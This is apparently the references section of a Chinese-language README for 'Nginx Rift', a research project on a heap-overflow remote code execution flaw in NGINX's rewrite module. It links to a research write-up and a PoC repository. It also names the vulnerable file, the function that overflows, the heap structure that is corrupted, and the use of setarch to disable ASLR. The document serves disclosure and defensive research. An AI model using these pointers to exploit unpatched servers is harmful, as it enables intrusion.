| NGINX 更新日志 | [https://nginx.org/en/CHANGES](https://nginx.org/en/CHANGES) |
### 研究
| 参考资料 | URL |
|-----------|-----|
| DepthFirst Research | [https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability](https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability) |
| PoC 代码库 | [https://github.com/DepthFirstDisclosures/Nginx-Rift](https://github.com/DepthFirstDisclosures/Nginx-Rift) |
| CWE-122 | [https://cwe.mitre.org/data/definitions/122.html](https://cwe.mitre.org/data/definitions/122.html) |
### 技术
| 资源 | 描述 |
|----------|-------------|
| `ngx_http_script.c` | NGINX rewrite 模块中存在漏洞的源文件 |
| `ngx_pool_cleanup_t` | 因 RCE 而被破坏的堆结构 |
| `ngx_escape_uri()` | 导致溢出的扩展函数 |
| `setarch(8)` | 用于禁用 ASLR 以获取确定性 exploit 地址的 Linux 工具 |
*本项目仅用于教育和防御性安全研究。该漏洞已由 NGINX 维护人员负责任地披露和修复。*标签:CISA项目, Cutter, Nginx, RCE, 堆溢出, 请求拦截, 逆向工具